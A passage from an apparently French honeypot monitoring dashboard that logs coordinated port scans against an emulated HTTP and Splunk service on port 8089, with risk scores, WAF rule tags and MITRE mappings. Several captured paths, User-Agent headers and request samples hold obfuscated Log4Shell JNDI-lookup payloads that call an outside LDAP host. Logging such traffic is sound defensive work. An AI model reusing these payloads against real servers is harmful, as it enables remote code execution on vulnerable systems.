"evidence_snippet": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +24 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 6,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089,
8090
],
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"splunk"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 24,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_auth_header_token",
"http_bearer_auth",
"http_dangerous_method",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:26 UTC
TCP
8089 · HTTP
Scan de ports
port scan syn · via HTTP:8089 · (reconnaissance) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8089
Chemin / cible
/login
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +24
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8089
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8089 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2923 Content-Type:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "06b11278b3d8c06d12bf6f74085c2806fc07bb05",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3216,
"payload_entropy": 4.588275691817069,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 100,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7.1,
"risk_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "69b2552616cc3c2d2e91835627a04d358eb19fa5",
"event_fingerprint": "22368ec161a8937c7a5dc4efd4b7fd90b08e8bfc",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 24
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "eddb31ea1df61a153e910a60141074c6",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2923\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2923\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f2a3a67856e25b9ca9562aee16dcd86a990126e2",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/login",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 24
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +24",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +24 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 6,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089,
8090
],
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"splunk"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 24,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:25 UTC
TCP
8089 · SPLUNK
Scan de ports
port scan syn · via SPLUNK:8089 · (reconnaissance)
Faible
Moyen · 42
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
Émulateur
SPLUNK
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
8089
Chemin / cible
—
Service
SPLUNK
Payload
ZSDLKFJ2 /${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +24
Risque capteur
Moyen
· 42
Confiance : Confiance élevée (100 %) — signaux convergents
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48
Requête brute (extrait)
ZSDLKFJ2 /${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48:-/}${r38x:sbv7:152w:-/}${dnjc:-P}${5a:93d6:g2wt:-A}${d:9:sb9:-l}${jxo:w92x:n5u:-0}${l9hc:-c}${p:35g:oq9t:--}${${c:-s}${fz1:cgkj
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"bytes_in": 4096,
"payload_entropy": 4.785825958600798,
"port_category": "registered",
"org": "Google LLC",
"service": "splunk",
"app_proto": "splunk",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 22,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15
},
"risk_score": 42,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "eade89926fcce389832ee22053ece2a4c2758890",
"event_fingerprint": "08c0e8746454b9b10111dc0cf3ca364c203ece50",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15,
"risk_score": 42,
"correlation_boost": 24
},
"named_classification_skipped": false,
"service_name": "splunk",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "8df1c0e02c29b8c7780a5d21d25d3142",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 8089,
"service": "splunk",
"service_name": "splunk",
"risk_score": 42
},
"payload_preview": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48",
"request_sample": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48:-\/}${r38x:sbv7:152w:-\/}${dnjc:-P}${5a:93d6:g2wt:-A}${d:9:sb9:-l}${jxo:w92x:n5u:-0}${l9hc:-c}${p:35g:oq9t:--}${${c:-s}${fz1:cgkj",
"payload_snippet": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48:-\/}${r38x:sbv7:152w:-\/}${dnjc:-P}${5a:93d6:g2wt:-A}${d:9:sb9:-l}${jxo:w92x:n5u:-0}${l9hc:-c}${p:35g:oq9t:--}${${c:-s}${fz1:cgkj",
"payload_snippet": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9c6646fa58ecca99e88fc6dd2b1526054330ddb3",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48",
"port": 8089,
"service": "splunk",
"service_label_fr": "SPLUNK"
},
"evidence_snippet": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48",
"attack_vector": "port scan syn \u00b7 via SPLUNK:8089 \u00b7 (reconnaissance)",
"target_port_label": "8089 \u00b7 SPLUNK",
"emulator_service": "splunk",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via SPLUNK \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15,
"risk_score": 42,
"correlation_boost": 24
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "splunk",
"service_label_fr": "SPLUNK",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-splunk",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +24",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48",
"port": 8089,
"service": "splunk",
"service_label_fr": "SPLUNK"
},
"attack_vector": "port scan syn \u00b7 via SPLUNK:8089 \u00b7 (reconnaissance)",
"evidence_snippet": "ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48",
"target_port_label": "8089 \u00b7 SPLUNK",
"emulator_service": "splunk",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +24",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "splunk",
"service_banner": "honeypot-splunk",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 6,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089,
8090
],
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"splunk"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 24,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"asn_dc_heuristic": true
}
30/07/2026 18:47:22 UTC
TCP
8089 · HTTP
Scan de ports
port scan syn · via HTTP:8089 · (reconnaissance) · → /${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d…
Élevée
Élevé · 67
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Protocole
GET /${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a… UA ${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-/}${5v0x:ora7:-/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${ps:l
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8089
Chemin / cible
/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-/}${5v0x:ora7:-/}${10:ruf:…
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +16
Risque capteur
Élevé
· 67
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
CRS 933135
Ligne de requête
